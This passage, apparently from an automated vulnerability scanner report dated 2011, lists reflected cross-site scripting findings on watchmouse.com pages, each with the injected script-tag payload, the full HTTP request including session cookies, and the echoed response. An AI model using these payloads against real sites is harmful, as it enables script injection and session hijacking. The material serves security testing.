Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5312"><script>alert(1)</script>4d779982f11 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /svc5312"><script>alert(1)</script>4d779982f11/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-aa3f09f736ab0955506cf18872d29971"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/svc5312"><script>alert(1)</script>4d779982f11/plans_price.php" method="post">
...[SNIP]...

1.758. http://www.watchmouse.com/sv/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a321"><script>alert(1)</script>c9f7f95a876 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/plans_price.php7a321"><script>alert(1)</script>c9f7f95a876 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-c787d4fe4c890326f7793dc1d0418b2f"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13268

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/plans_price.php7a321"><script>alert(1)</script>c9f7f95a876" method="post">
...[SNIP]...

1.759. http://www.watchmouse.com/sv/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3573d"><script>alert(1)</script>55f32e3d147 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/plans_price.php?3573d"><script>alert(1)</script>55f32e3d147=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-fc67c61c5140f09daa77ceb0ec405525"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 58672

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/plans_price.php?3573d"><script>alert(1)</script>55f32e3d147=1" method="post">
...[SNIP]...

1.760. http://www.watchmouse.com/sv/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97c74"><script>alert(1)</script>8b311e0e634 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sv97c74"><script>alert(1)</script>8b311e0e634/register.php?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-de9f228e06eba2ea3b490b59787ef943"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sv97c74"><script>alert(1)</script>8b311e0e634/register.php?vpackid=35" method="post">
...[SNIP]...

1.761. http://www.watchmouse.com/sv/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42d0b"><script>alert(1)</script>0ad1bc089e7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/register.php42d0b"><script>alert(1)</script>0ad1bc089e7?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-ff20223b656d4b2fbc4f756c7cb8a039"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/register.php42d0b"><script>alert(1)</script>0ad1bc089e7?vpackid=35" method="post">
...[SNIP]...

1.762. http://www.watchmouse.com/sv/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 805f3"><script>alert(1)</script>5a4d2481d31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/register.php?vpackid=35&805f3"><script>alert(1)</script>5a4d2481d31=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-4b82000729b3dbbf87551b6702c9872b"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26406

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&805f3"><script>alert(1)</script>5a4d2481d31=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.763. http://www.watchmouse.com/sv/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a50b"><script>alert(1)</script>f61104120d1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sv2a50b"><script>alert(1)</script>f61104120d1/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-54ee2bcdb23871a628781f6eb4f7a26d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sv2a50b"><script>alert(1)</script>f61104120d1/website_monitoring_features.php" method="post">
...[SNIP]...

1.764. http://www.watchmouse.com/sv/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41968"><script>alert(1)</script>53c19857f24 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/website_monitoring_features.php41968"><script>alert(1)</script>53c19857f24 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-0df719acafb77cb19024a74cd7b25ccb"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/website_monitoring_features.php41968"><script>alert(1)</script>53c19857f24" method="post">
...[SNIP]...

1.765. http://www.watchmouse.com/sv/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a3e8"><script>alert(1)</script>a196bbef633 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/website_monitoring_features.php?2a3e8"><script>alert(1)</script>a196bbef633=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-2be675fc14c1c660ecd67d44180b12e7"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/website_monitoring_features.php?2a3e8"><script>alert(1)</script>a196bbef633=1" method="post">
...[SNIP]...

1.766. http://www.watchmouse.com/trial.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/trial.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 924de"><script>alert(1)</script>cb2ce6ba310 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /trial.php924de"><script>alert(1)</script>cb2ce6ba310 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ea074d94fd7860545a9c4bf55db8f7cb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/trial.php924de"><script>alert(1)</script>cb2ce6ba310" method="post">
...[SNIP]...

1.767. http://www.watchmouse.com/trial.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/trial.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df3b8"><script>alert(1)</script>a427789f0c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /trial.php?df3b8"><script>alert(1)</script>a427789f0c1=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2f373de3f2b14c6d85f7a79496a1d37d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25753

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<a href="/nl/register.php?vpackid=35&df3b8"><script>alert(1)</script>a427789f0c1=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.768. http://www.watchmouse.com/w3c/p3p.xml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/w3c/p3p.xml

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78388"><script>alert(1)</script>87b0be2b20 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /w3c78388"><script>alert(1)</script>87b0be2b20/p3p.xml HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7f54b0f284dc118abe2fcdb68d41e5a0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/w3c78388"><script>alert(1)</script>87b0be2b20/p3p.xml" method="post">
...[SNIP]...

1.769. http://www.watchmouse.com/worldwide.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/worldwide.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ed79"><script>alert(1)</script>c7deb5001cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /worldwide.php9ed79"><script>alert(1)</script>c7deb5001cb HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-90e5fd739e808dff947588e930e38064"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/worldwide.php9ed79"><script>alert(1)</script>c7deb5001cb" method="post">
...[SNIP]...

1.770. http://www.watchmouse.com/worldwide.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/worldwide.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1711"><script>alert(1)</script>dd3e18f83a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /worldwide.php?f1711"><script>alert(1)</script>dd3e18f83a5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-4c261584e0141e3935156591e03702f3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/worldwide.php?f1711"><script>alert(1)</script>dd3e18f83a5=1" method="post">
